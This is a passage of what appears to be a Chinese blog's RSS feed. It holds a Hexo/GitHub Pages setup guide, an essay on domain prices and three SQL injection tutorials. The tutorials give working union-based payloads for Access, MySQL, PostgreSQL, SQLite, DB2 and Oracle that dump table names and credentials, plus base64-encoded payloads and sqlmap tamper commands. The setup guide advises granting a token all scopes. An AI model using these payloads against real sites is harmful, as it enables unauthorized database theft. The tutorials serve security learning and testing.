测试是否安装成功 node -v npm -v git --version 安装cnpm以使用国内景象 npm install -g cnpm --registry=https://registry.npm.taobao.org 安装hexo cnpm install hexo-cli -g hexo -v 1.2. 建立Github仓库 注册GitHub账号（略） 建立GitHub仓库 这里注意，要将Repository name设置为 用户名.github.io，建立一个README.md。
1.3. 生成并绑定ssh key 打开命令行，定位到某文件夹下，输入ssh查看ssh是否已经正常安装。
ssh-keygen -t rsa -C &amp;#34;注册GitHub时使用的邮件地址&amp;#34; # 例如： ssh-keygen -t rsa -C &amp;#34;abc@example.com&amp;#34; # 输入命令后，根据提示按四次回车 生成完毕后，进入.ssh文件夹。Linux/mac用户在~/.ssh/，Windows用户一般在C:\Users\用户名\.ssh，找到里面的id_rsa和id_rsa.pub。
打开GitHub的settings页面，在左边找到SSH and GPG keys，点击绿色的New SSH key按钮。Title随便写都行，并将刚才的id_rsa.pub中的内容复制到Key栏，点击Add SSH key。
测试SSH是否绑定成功：
ssh -T git@github.</description>
      <content:encoded><![CDATA[<h2 id="一前期准备">一、前期准备</h2>
<h3 id="11-环境安装">1.1. 环境安装</h3>
<h4 id="下载必须环境">下载必须环境</h4>
<p>NodeJS：<a href="http://nodejs.cn/download/" target="_blank">下载 | Node.js 中文网 (nodejs.cn)</a></p>
<p>Git：<a href="https://git-scm.com/downloads" target="_blank">Git - Downloads (git-scm.com)</a></p>
<h4 id="测试是否安装成功">测试是否安装成功</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>node -v
</span></span><span style="display:flex;"><span>npm -v
</span></span><span style="display:flex;"><span>git --version
</span></span></code></pre></div><h4 id="安装cnpm以使用国内景象">安装cnpm以使用国内景象</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>npm install -g cnpm --registry<span style="color:#f92672">=</span>https://registry.npm.taobao.org
</span></span></code></pre></div><h4 id="安装hexo">安装hexo</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>cnpm install hexo-cli -g
</span></span><span style="display:flex;"><span>hexo -v
</span></span></code></pre></div><h3 id="12-建立github仓库">1.2. 建立Github仓库</h3>
<h4 id="注册github账号略">注册GitHub账号（略）</h4>
<h4 id="建立github仓库">建立GitHub仓库</h4>
<p>这里注意，要将Repository name设置为 <code>用户名.github.io</code>，建立一个README.md。</p>
<h3 id="13-生成并绑定ssh-key">1.3. 生成并绑定ssh key</h3>
<ol>
<li>
<p>打开命令行，定位到某文件夹下，输入<code>ssh</code>查看ssh是否已经正常安装。</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>ssh-keygen -t rsa -C <span style="color:#e6db74">&#34;注册GitHub时使用的邮件地址&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 例如：</span>
</span></span><span style="display:flex;"><span>ssh-keygen -t rsa -C <span style="color:#e6db74">&#34;abc@example.com&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 输入命令后，根据提示按四次回车</span>
</span></span></code></pre></div></li>
<li>
<p>生成完毕后，进入.ssh文件夹。Linux/mac用户在<code>~/.ssh/</code>，Windows用户一般在<code>C:\Users\用户名\.ssh</code>，找到里面的<code>id_rsa</code>和<code>id_rsa.pub</code>。</p>
</li>
<li>
<p>打开GitHub的settings页面，在左边找到<code>SSH and GPG keys</code>，点击绿色的<code>New SSH key</code>按钮。Title随便写都行，并将刚才的<code>id_rsa.pub</code>中的内容复制到Key栏，点击<code>Add SSH key</code>。</p>
</li>
<li>
<p>测试SSH是否绑定成功：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>ssh -T git@github.com	<span style="color:#75715e"># 此命令无需任何修改，直接复制执行即可。</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 根据提示输入“yes”，最后提示“success”则绑定成功。</span>
</span></span></code></pre></div></li>
</ol>
<h2 id="二本地生成博客">二、本地生成博客</h2>
<ol>
<li>
<p>选择一个空文件夹，进入命令行。</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>hexo init	<span style="color:#75715e"># 由于是从GitHub上拉取，可能会遇到网络问题，多试几次</span>
</span></span><span style="display:flex;"><span>hexo s		<span style="color:#75715e"># 生成本地静态页面，并打开本地服务器</span>
</span></span></code></pre></div></li>
<li>
<p>找到刚才文件夹下的<code>_config.yml</code>，用Notepad++打开。在文件的最底部添加下列内容（将用户名添加上）：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">deploy</span>: 
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">type</span>: <span style="color:#ae81ff">git</span>
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">repository</span>: <span style="color:#ae81ff">https://github.com/用户名/用户名.github.io.git</span>
</span></span><span style="display:flex;"><span>	<span style="color:#f92672">branch</span>: <span style="color:#ae81ff">main</span>
</span></span></code></pre></div><p>其中的repository项可在对应仓库中找到自己的.git文件。</p>
</li>
<li>
<p>安装部署工具。在博客文件夹下打开命令行，输入</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>cnpm install hexo-deployer-git --save
</span></span></code></pre></div></li>
</ol>
<h2 id="三部署博客">三、部署博客</h2>
<ol>
<li>
<p>在博客文件夹下打开命令行，输入</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>hexo g		<span style="color:#75715e"># 生成</span>
</span></span><span style="display:flex;"><span>hexo d		<span style="color:#75715e"># 上传</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># 连接可能不稳定，多试几次</span>
</span></span></code></pre></div></li>
<li>
<p>在弹出的窗口中输入GitHub用户名，<strong>密码别着急输入，看下一步</strong>（别输错，否则得重来）；</p>
</li>
<li>
<p>打开浏览器，进入<code>[Personal Access Tokens (github.com)](https://github.com/settings/tokens)</code>，点击<code>Generate new token</code>，随便取个名字。</p>
<ul>
<li>有效期限30 days；</li>
<li>下面的Select scopes全选上；</li>
<li><strong>由于令牌只在第一次生成时可见，建议将其复制到其他地方保存</strong>；</li>
<li>复制令牌到刚才到OpenSSH的密码框中。</li>
</ul>
</li>
<li>
<p>启用GitHub pages；</p>
</li>
<li>
<p>打开 用户名.github.io 查看页面。</p>
</li>
</ol>
<h2 id="四自定义博客">四、自定义博客</h2>
<h3 id="41-简单配置">4.1 简单配置</h3>
<ol>
<li>Hexo的文章在<code>source/_posts</code>下，我们可以看到hello-world.md文件，打开即可修改。</li>
<li>网站的关键信息可以在_config.yml下修改；</li>
<li>具体修改可以参考<a href="https://hexo.io/zh-cn/docs/configuration" target="_blank">配置 | Hexo</a>。</li>
</ol>
<h3 id="42-配置主题">4.2. 配置主题</h3>
<ul>
<li>打开<a href="https://hexo.io/themes/" target="_blank">Themes | Hexo</a></li>
<li>注意：Hexo 5.x相对4.x是一次破坏性升级，所以很多4.x下的主题在5.x中并不可用。</li>
<li>以xoxo主题为例：</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>git clone --depth <span style="color:#ae81ff">1</span> https://github.com/KevinOfNeu/hexo-theme-xoxo themes/xoxo
</span></span><span style="display:flex;"><span>hexo config theme xoxo
</span></span><span style="display:flex;"><span>hexo s
</span></span></code></pre></div>]]></content:encoded>
    </item>
    
    <item>
      <title>SQL注入基础入门——03、SQLMap编码注入</title>
      <link>https://weibo.io/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-03%E3%80%81sqlmap%E7%BC%96%E7%A0%81%E6%B3%A8%E5%85%A5/</link>
      <pubDate>Mon, 04 Oct 2021 14:56:26 +0000</pubDate>
      
      <guid>https://weibo.io/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-03%E3%80%81sqlmap%E7%BC%96%E7%A0%81%E6%B3%A8%E5%85%A5/</guid>
      <description>在SQL注入时，有时会遇到一些复杂情况，如：.../info.php?id=MQ==，这种情况就属于编码注入。其基本流程如下：
接收数据 -&amp;gt; base64解密 -&amp;gt; 组合SQL语句 -&amp;gt; 执行返回
注入思路如下：
先解码，结合明文后编码
用如下的表格展现编码注入的部分流程：
原文 译文 备注 1 order by 3 MSBvcmRlciBieSAz 猜测列数 -1 union select 1,2,3 LTEgdW5pb24gc2VsZWN0IDEsMiwz 测试回显 -1 union select 1,database(),version() LTEgdW5pb24gc2VsZWN0ID EsZGF0YWJhc2UoKSx2ZXJzaW9uKCk= 取得库名 使用Tamper 定位到tamper/base64encode.py文件，注意将URL中的MQ去掉
python sqlmap.py -u &#34;XXX.php?id=&#34; --tamper=base64encode.py </description>
      <content:encoded><![CDATA[<p>在SQL注入时，有时会遇到一些复杂情况，如：<code>.../info.php?id=MQ==</code>，这种情况就属于编码注入。其基本流程如下：</p>
<blockquote>
<p>接收数据 -&gt; <strong>base64解密</strong> -&gt; 组合SQL语句 -&gt; 执行返回</p>
</blockquote>
<p>注入思路如下：</p>
<blockquote>
<p>先解码，结合明文后编码</p>
</blockquote>
<p>用如下的表格展现编码注入的部分流程：</p>
<table>
<thead>
<tr>
<th>原文</th>
<th>译文</th>
<th>备注</th>
</tr>
</thead>
<tbody>
<tr>
<td>1 order by 3</td>
<td>MSBvcmRlciBieSAz</td>
<td>猜测列数</td>
</tr>
<tr>
<td>-1 union select 1,2,3</td>
<td>LTEgdW5pb24gc2VsZWN0IDEsMiwz</td>
<td>测试回显</td>
</tr>
<tr>
<td>-1 union select 1,database(),version()</td>
<td>LTEgdW5pb24gc2VsZWN0ID</td>
<td></td>
</tr>
<tr>
<td>EsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=</td>
<td>取得库名</td>
<td></td>
</tr>
</tbody>
</table>
<h4 id="使用tamper">使用Tamper</h4>
<p>定位到tamper/base64encode.py文件，<strong>注意将URL中的MQ<span class="text-highlighted-inline" style="background-color: #fffd38;">去掉</span></strong></p>
<pre><code class="language-bash line-numbers">python sqlmap.py -u "XXX.php?id=" --tamper=base64encode.py
</code></pre>
]]></content:encoded>
    </item>
    
    <item>
      <title>域名可能衰落的原因</title>
      <link>https://weibo.io/2021/10/%E5%9F%9F%E5%90%8D%E4%B8%8E%E6%88%BF%E5%9C%B0%E4%BA%A7%E7%9A%84%E7%9B%B8%E4%BC%BC%E4%B9%8B%E5%A4%84%E4%BB%A5%E5%8F%8A%E8%A1%B0%E8%90%BD%E7%9A%84%E5%8E%9F%E5%9B%A0/</link>
      <pubDate>Mon, 04 Oct 2021 14:04:21 +0000</pubDate>
      
      <guid>https://weibo.io/2021/10/%E5%9F%9F%E5%90%8D%E4%B8%8E%E6%88%BF%E5%9C%B0%E4%BA%A7%E7%9A%84%E7%9B%B8%E4%BC%BC%E4%B9%8B%E5%A4%84%E4%BB%A5%E5%8F%8A%E8%A1%B0%E8%90%BD%E7%9A%84%E5%8E%9F%E5%9B%A0/</guid>
      <description>域名和房地产很像。
房地产价值首先有其实业的一面，钢筋混凝土，也就是实实在在的居住属性；也有其虚拟的一面，也就是其所处的土地价值、配套的公共服务等，这也就是房地产可炒作的一面。
域名也是类似，首先它有自己实际的功能，也就是用固定的字符串代替动态的 IP 地址；其次还有可炒作的一面，也就是好记、好看，在商业上展现实力等。
如今域名功能性的一面越来越弱势，越来越多的流量通过 app 而不是通过域名。这也造成了严重的两极分化：没有炒作价值的域名几乎一文不值。
另外还有一点我觉得也跟房地产很像：那就是低廉的持有成本。就像国内房产税的缺位一样，一个域名，无论其本身的价值，续费的成本都不过几十几百块（注册商保留域名除外），这导致对一个好域名来说，卖家天然占据优势，除了买家溢价购买的情况下，交易的终止对卖家几乎没有什么损失，从心理上就是卖家占优。
但其中还有一个问题：在 App 时代，普通大众连接到互联网的入口越发不通过域名，可能多数人连域名是什么都不一定知道，这可能一同削弱了域名的炒作价值——多数人都不知道域名是什么，又何谈接收其所带的品牌价值呢？
就像未来 VR 全面普及、交通业高度发达的时代：多数人的大多数活动（学习工作生活）都不需要去到太远的地方，也不关心自己所处的位置，又何谈房地产的土地价值呢？
总而言之，域名价格趋向合理应该是趋势，域名持有人也应该积极顺应这一趋势。</description>
      <content:encoded><![CDATA[<p>域名和房地产很像。</p>
<p>房地产价值首先有其实业的一面，钢筋混凝土，也就是实实在在的居住属性；也有其虚拟的一面，也就是其所处的土地价值、配套的公共服务等，这也就是房地产可炒作的一面。</p>
<p>域名也是类似，首先它有自己实际的功能，也就是用固定的字符串代替动态的 IP 地址；其次还有可炒作的一面，也就是好记、好看，在商业上展现实力等。</p>
<p>如今域名功能性的一面越来越弱势，越来越多的流量通过 app 而不是通过域名。这也造成了严重的两极分化：没有炒作价值的域名几乎一文不值。</p>
<p>另外还有一点我觉得也跟房地产很像：那就是低廉的持有成本。就像国内房产税的缺位一样，一个域名，无论其本身的价值，续费的成本都不过几十几百块（注册商保留域名除外），这导致对一个好域名来说，卖家天然占据优势，除了买家溢价购买的情况下，交易的终止对卖家几乎没有什么损失，从心理上就是卖家占优。</p>
<p>但其中还有一个问题：在 App 时代，普通大众连接到互联网的入口越发不通过域名，可能多数人连域名是什么都不一定知道，这可能一同削弱了域名的炒作价值——多数人都不知道域名是什么，又何谈接收其所带的品牌价值呢？</p>
<p>就像未来 VR 全面普及、交通业高度发达的时代：多数人的大多数活动（学习工作生活）都不需要去到太远的地方，也不关心自己所处的位置，又何谈房地产的土地价值呢？</p>
<p>总而言之，域名价格趋向合理应该是趋势，域名持有人也应该积极顺应这一趋势。</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>SQL注入基础入门——02、SQLMap简介</title>
      <link>https://weibo.io/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8%EF%BC%8802-sqlmap%EF%BC%89/</link>
      <pubDate>Mon, 04 Oct 2021 13:41:42 +0000</pubDate>
      
      <guid>https://weibo.io/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8%EF%BC%8802-sqlmap%EF%BC%89/</guid>
      <description>SQLMap是一个自动化的sql注入工具，其主要功能是扫描、发现并利用给定URL的SQL注入漏洞，内置了很多绕过插件，支持的数据库有MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB。
SQLMap是一款开源免费的漏洞检查、利用工具. 可以检测页面中get,post参数,cookie,http头等. 可以实现数据榨取 可以实现文件系统的访问 可以实现操作命令的执行 还可以对xss漏洞进行检测 基础入门：https://www.cnblogs.com/php09/p/10404560.html
重要目录详情： 参考https://blog.csdn.net/qq_29277155/article/details/51646932
doc/ —-&amp;raquo;&amp;gt;该文件夹包含了sqlmap 的具体使用说明，例如多种语言的简要说明、PDF版的详细说明、FAQ、作者信息等。
extra/ —&amp;raquo;&amp;gt;这里包含了sqlmap的多种额外功能，例如发出声响（beep)、运行cmd、安全执行、shellcode等。
lib/ —&amp;raquo;&amp;gt;这里包含了sqlmap的多种连接库，如五种注入类型请求的参数、提权操作等。
plugins/ —&amp;raquo;&amp;gt;这里包含了各种数据库的信息和数据库通用事项。
procs/ —&amp;raquo;&amp;gt; 这里包含了mssqlserver、 mysql、oracle和postgresql的触发程序
shell/ —&amp;raquo;&amp;gt;这里包含了多种注入成功后的9种shell 远程连接命令执行和管理数据库
tamper/ —&amp;raquo;&amp;gt;这里包含了47种的绕过脚本，例如编码绕过、注释绕过等。
thirdparty/ —&amp;raquo;&amp;gt;这里包含了一些其他第三方的插件，例如优化、保持连接、颜色等。
txt/ —&amp;raquo;&amp;gt;这里包含了一些字典，例如用户浏览器代理、表、列、关键词等。
udf/ —&amp;raquo;&amp;gt;这里包含了用户自己定义的攻击载荷。
waf/ —&amp;raquo;&amp;raquo;这里包含了一些44种常见的防火墙特征。
xml/ —&amp;raquo;&amp;gt;这里包含了多种数据库的注入检测载荷、旗标信息以及其他信息。在这里可以看到进行注入的。
sqlmap.conf —&amp;raquo;&amp;raquo; sqlmap的配置文件，如各种默认参数（默认是没有设置参数、可设置默认参数进行批量或者自动化检测）。
sqlmap.py* —&amp;raquo;&amp;raquo; 这是sqlmap 的主程序，可以调用各种参数进行注入任务。
sqlmapapi.py* —&amp;raquo;&amp;raquo; 这是sqlmap 的api 文件，可以将sqlmap集成到其他平台上。
一些技巧 python3 sqlmap.py -u “URL?id=1”
查询过一次后，第二次查询可能不准（因为有缓存），可以选择删除缓存（AppData\Local\sqlmap\output）</description>
      <content:encoded><![CDATA[<p>SQLMap是一个自动化的sql注入工具，其主要功能是扫描、发现并利用给定URL的SQL注入漏洞，内置了很多绕过插件，支持的数据库有MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB。</p>
<ul>
<li>SQLMap是一款开源免费的漏洞检查、利用工具.
<ol>
<li>可以检测页面中get,post参数,cookie,http头等.</li>
<li>可以实现数据榨取</li>
<li>可以实现文件系统的访问</li>
<li>可以实现操作命令的执行</li>
<li>还可以对xss漏洞进行检测</li>
</ol>
</li>
</ul>
<p>基础入门：<a href="https://www.cnblogs.com/php09/p/10404560.html" target="_blank" rel="noreferrer noopener"><a href="https://www.cnblogs.com/php09/p/10404560.html" target="_blank">https://www.cnblogs.com/php09/p/10404560.html</a></a></p>
<h2 id="重要目录详情">重要目录详情：</h2>
<p>参考<a href="https://blog.csdn.net/qq_29277155/article/details/51646932" target="_blank" rel="noreferrer noopener"><a href="https://blog.csdn.net/qq_29277155/article/details/51646932" target="_blank">https://blog.csdn.net/qq_29277155/article/details/51646932</a></a></p>
<p>doc/ —-&raquo;&gt;该文件夹包含了sqlmap 的具体使用说明，例如多种语言的简要说明、PDF版的详细说明、FAQ、作者信息等。</p>
<p>extra/ —&raquo;&gt;这里包含了sqlmap的多种额外功能，例如发出声响（beep)、运行cmd、安全执行、shellcode等。</p>
<p>lib/ —&raquo;&gt;这里包含了sqlmap的多种连接库，如五种注入类型请求的参数、提权操作等。</p>
<p>plugins/ —&raquo;&gt;这里包含了各种数据库的信息和数据库通用事项。</p>
<p>procs/ —&raquo;&gt; 这里包含了mssqlserver、 mysql、oracle和postgresql的触发程序</p>
<p>shell/ —&raquo;&gt;这里包含了多种注入成功后的9种shell 远程连接命令执行和管理数据库</p>
<p><strong>tamper/ —&raquo;&gt;这里包含了47种的绕过脚本，例如编码绕过、注释绕过等。</strong></p>
<p>thirdparty/ —&raquo;&gt;这里包含了一些其他第三方的插件，例如优化、保持连接、颜色等。</p>
<p><strong>txt/ —&raquo;&gt;这里包含了一些字典，例如用户浏览器代理、表、列、关键词等。</strong></p>
<p>udf/ —&raquo;&gt;这里包含了用户自己定义的攻击载荷。</p>
<p><strong>waf/ —&raquo;&raquo;这里包含了一些44种常见的防火墙特征。</strong></p>
<p>xml/ —&raquo;&gt;这里包含了多种数据库的注入检测载荷、旗标信息以及其他信息。在这里可以看到进行注入的。</p>
<p>sqlmap.conf —&raquo;&raquo; sqlmap的配置文件，如各种默认参数（默认是没有设置参数、可设置默认参数进行批量或者自动化检测）。</p>
<p>sqlmap.py* —&raquo;&raquo; 这是sqlmap 的主程序，可以调用各种参数进行注入任务。</p>
<p>sqlmapapi.py* —&raquo;&raquo; 这是sqlmap 的api 文件，可以将sqlmap集成到其他平台上。</p>
<h2 id="一些技巧">一些技巧</h2>
<p>python3 sqlmap.py -u “URL?id=1”</p>
<p>查询过一次后，第二次查询可能不准（因为有缓存），可以选择删除缓存（AppData\Local\sqlmap\output）</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>SQL注入基础入门——01、几种常见的注入形式</title>
      <link>https://weibo.io/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-01-%E5%9F%BA%E6%9C%AC%E6%80%9D%E8%B7%AF/</link>
      <pubDate>Mon, 04 Oct 2021 12:53:14 +0000</pubDate>
      
      <guid>https://weibo.io/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-01-%E5%9F%BA%E6%9C%AC%E6%80%9D%E8%B7%AF/</guid>
      <description>常用工具：SQLmap
数据库类型判断 SQL注入语句判断（配合工具） 搭建组合、信息搜集 端口扫描 一、Access注入（较少见，没有数据库名） 猜测有多少列（order by 22）
22正常，23错误 联合注入/暴力注入（union select 1,2,3,4,…,22 from admin） 此处猜测表名为admin，此处暴力破解，配合抓包工具 &amp;gt; 使用Burp Suite的变量功能，批量发送数据包，批量检查返回包来确定 &amp;lt;ol start=&amp;quot;2&amp;quot;&amp;gt; &amp;lt;li&amp;gt; 为测试页面回显，依次在1,2,username,password,…,22写上列名&amp;lt;br /&amp;gt; 此处也需要暴力破解列名 &amp;lt;/li&amp;gt; &amp;lt;/ol&amp;gt; 偏移注入：解决表名获取到但列名获取不到的情况
表名获取不到，则必须要字典暴力破解
依次测试下列语句，直到不再报错： union select 1,2,3,4,…,19,20,21,* from admin union select 1,2,3,4,…,19,20,* from admin union select 1,2,3,4,…,19,* from admin union select 1,2,3,4,…,18,* from admin … 假设union select 1,2,3,4,…,16,* from admin正常显示，则admin中列的个数：22-16=6
4. 二级偏移16-6=10/三级偏移10-6=4/…
union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.</description>
      <content:encoded><![CDATA[<p>常用工具：SQLmap</p>
<h3 id="数据库类型判断">数据库类型判断</h3>
<ol>
<li>SQL注入语句判断（配合工具）</li>
<li>搭建组合、信息搜集</li>
<li>端口扫描</li>
</ol>
<h2 id="一access注入较少见没有数据库名">一、Access注入（较少见，没有数据库名）</h2>
<ol>
<li>猜测有多少列（order by 22）<br>
22正常，23错误</li>
<li>联合注入/暴力注入（union select 1,2,3,4,…,22 from admin）
<ol>
<li>此处猜测表名为admin，此处暴力破解，配合抓包工具</li>
</ol>
</li>
</ol>
<pre><code>&gt; 使用Burp Suite的变量功能，批量发送数据包，批量检查返回包来确定 

&lt;ol start=&quot;2&quot;&gt;
  &lt;li&gt;
    为测试页面回显，依次在1,2,username,password,…,22写上列名&lt;br /&gt; 此处也需要暴力破解列名
  &lt;/li&gt;
&lt;/ol&gt;
</code></pre>
<ol start="3">
<li>偏移注入：解决表名获取到但列名获取不到的情况<br>
表名获取不到，则必须要字典暴力破解<br>
依次测试下列语句，直到不再报错：</li>
</ol>
<pre><code class="language-sql line-numbers">union select 1,2,3,4,…,19,20,21,* from admin
union select 1,2,3,4,…,19,20,* from admin
union select 1,2,3,4,…,19,* from admin
union select 1,2,3,4,…,18,* from admin
…
</code></pre>
<p>假设<code>union select 1,2,3,4,…,16,* from admin</code>正常显示，则admin中列的个数：22-16=6<br>
4. 二级偏移16-6=10/三级偏移10-6=4/…</p>
<pre><code class="language-sql line-numbers">union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
</code></pre>
<h2 id="二mysql注入">二、MySQL注入</h2>
<h4 id="1-猜测有多少列order-by-4">1. 猜测有多少列（order by 4）</h4>
<h4 id="2-联合注入union-select-1234获取数据库名">2. 联合注入（union select 1,2,3,4）——获取数据库名</h4>
<h5 id="21-测试回显">2.1. 测试回显</h5>
<ul>
<li>此时页面正常，将前面的条件置为假，出现数字（此处假设数字为2）</li>
<li>例如，id=1改为id=-1，或者加上and 1=2</li>
</ul>
<h5 id="22-使用内置函数获取数据库名假设此处为db">2.2. 使用内置函数获取数据库名（假设此处为db）</h5>
<pre><code class="language-sql line-numbers">union select 1,database(),3,4
</code></pre>
<ul>
<li>同时可用<code>version()、user()、@@version_compile_os</code>查询数据库版本、用户、操作系统名</li>
</ul>
<h4 id="3-获取数据面向mysql-50及以上">3. 获取数据（面向MySQL 5.0及以上）</h4>
<ul>
<li>⚠️注意：MySQL 5.0以下注入属于暴力破解，5.0及以上版本为有根据猜解。因为在MySQL 5及以上版本中有information_schema库，它储存了mysql所有数据库名、表名、列名信息。数据库版本可用上一步的 version() 获取。
<ul>
<li>information_schema.tables表下的列table_name 存储表名信息的表</li>
<li>information_schema.columns表下的列column_name 存储列名信息的表</li>
<li>information_schema.schemata表下的列shcema_name 存储数据库名信息的表</li>
</ul>
</li>
</ul>
<h5 id="31-获取表名">3.1. 获取表名</h5>
<pre><code class="language-sql line-numbers">union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=’db’
</code></pre>
<ul>
<li>此处db为数据库名，在第二步中已经得到（假设其中有member）
<ul>
<li>table_schema 数据库名</li>
<li>table_name 表名</li>
<li>column_name 列名</li>
</ul>
</li>
</ul>
<h5 id="32-获取列名">3.2. 获取列名</h5>
<pre><code class="language-sql line-numbers">union select 1,group_concat(column_name),3,4 from information_schema.tables where table_name=’member’
</code></pre>
<ul>
<li>假设获取到了name、password等列名</li>
</ul>
<h5 id="33-获取数据">3.3. 获取数据</h5>
<pre><code class="language-sql line-numbers">union select 1,name,password,4 from member
</code></pre>
<h5 id="34-若版本为50以下则尝试配合字典文件读取读取尝试获取">3.4. 若版本为5.0以下，则尝试配合字典/文件读取读取尝试获取</h5>
<h2 id="三postgresql注入">三、PostgreSQL注入</h2>
<ol>
<li>基本思路与MySQL一致，参考：https://www.cnblogs.com/she11s/p/12326629.html</p></li>
<li>猜测有多少列</li>
</ol>
<pre><code class="language-sql line-numbers">order by 4
</code></pre>
<ol start="3">
  <li>
    联合注入
  </li>
</ol>
<pre><code class="language-sql line-numbers">union select null,null,null,null
</code></pre>
<ol start="4">
  <li>
    获取数据库名：
  </li>
</ol>
<pre><code class="language-sql line-numbers">id=-1 union select null,current_database(),null,null
</code></pre>
<ol start="5">
  <li>
    获取表名
  </li>
</ol>
<pre><code class="language-sql line-numbers">id=-1 union select null,relname,null,null from pg_stat_user_tables limit 1 offset 1
</code></pre>
<ol start="6">
  <li>
    列名
  </li>
</ol>
<pre><code class="language-sql line-numbers">union select null,column_name,null from information_schema.columns where table_name=’表名’
</code></pre>
<h2 id="四sqlite注入">四、SQLite注入</h2>
<ol>
<li>
<p>使用sqlite_master隐藏表，参考：https://www.cnblogs.com/xiaozi/p/5760321.html 中的union select注入，盲注将在以后涉及，这里暂时略过。</p>
</li>
<li>
<p>查询表名和列名</p>
</li>
</ol>
<pre><code class="language-sql line-numbers">union select 1,name,sql,4 from sqlite_master
</code></pre>
<h2 id="五db2注入">五、DB2注入</h2>
<ol>
<li>
<p>参考https://www.cnblogs.com/xiaozi/p/5760321.html</p>
</li>
<li>
<p>猜测有多少列（order by 4）</p>
</li>
<li>
<p>获取库名</p>
</li>
</ol>
<pre><code class="language-sql line-numbers">and 1=2 union select 1,2,current schema,4 from sysibm.sysdummy1
</code></pre>
<ol start="4">
  <li>
    表名
  </li>
</ol>
<pre><code class="language-sql line-numbers">and 1=2 union select 1,2,tabname,4 from syscat.tables where tabschema=current schema limit 0,1
</code></pre>
<ol start="5">
  <li>
    列名
  </li>
</ol>
<pre><code class="language-sql line-numbers">union select 1,2,column_name,4 from sysibm.columns where …
</code></pre>
<ol start="6">
  <li>
    内置函数 <ul>
      <li>
        sysibm.sysdummy1 数据库名
      </li>
      <li>
        syscat.tables 表名
      </li>
      <li>
        sysibm.columns 列名
      </li>
    </ul>
  </li>
</ol>
<h2 id="六oracle注入">六、Oracle注入</h2>
<ol>
<li>参考https://www.cnblogs.com/peterpan0707007/p/8242119.html</li>
<li>猜测有多少列（order by 4）</li>
<li>判断列类型</li>
</ol>
<pre><code class="language-sql line-numbers">union select null,null,… from dual
</code></pre>
<pre><code>- 判断字符型还是数字型：在第一个null上加上单引号，正常（输出null）说明第一列为字符型，否则（不显示）为数字型。依次判断各列的类型。
</code></pre>
<ol start="4">
<li>确定回显位</li>
</ol>
<pre><code class="language-sql line-numbers">union select 1,2 from dual
</code></pre>
<ol start="5">
  <li>
    假设返回2，则第一个表
  </li>
</ol>
<pre><code class="language-sql line-numbers">union select 1,(select table_name from user_tables where rownum=1) from dual
</code></pre>
<pre><code>- 第二个表以此类推。
</code></pre>
<ol start="6">
  <li>
    通过模糊like查询获得表名，配合抓包工具（见Access数据库注入）
  </li>
</ol>
<h2 id="七mongodb闭合注入较特殊工具可能不支持">*七、MongoDB闭合注入（较特殊，工具可能不支持）</h2>
<p><img loading="lazy" src="https://www.mozhe.cn/uploads/2018/07/04/1530693387a37838.jpg" alt="MongoDB注入需要获取代码"  />
</p>
<ol>
<li>
